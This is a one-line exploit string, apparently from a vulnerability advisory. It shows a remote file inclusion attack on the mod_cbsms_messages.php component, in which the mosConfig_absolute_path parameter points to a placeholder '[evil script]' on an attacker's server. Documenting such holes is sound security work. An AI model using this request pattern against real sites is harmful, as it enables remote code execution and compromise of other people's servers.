http://www.example.com/[path]/mod_cbsms_messages.php?mosConfig_absolute_path=[evil script]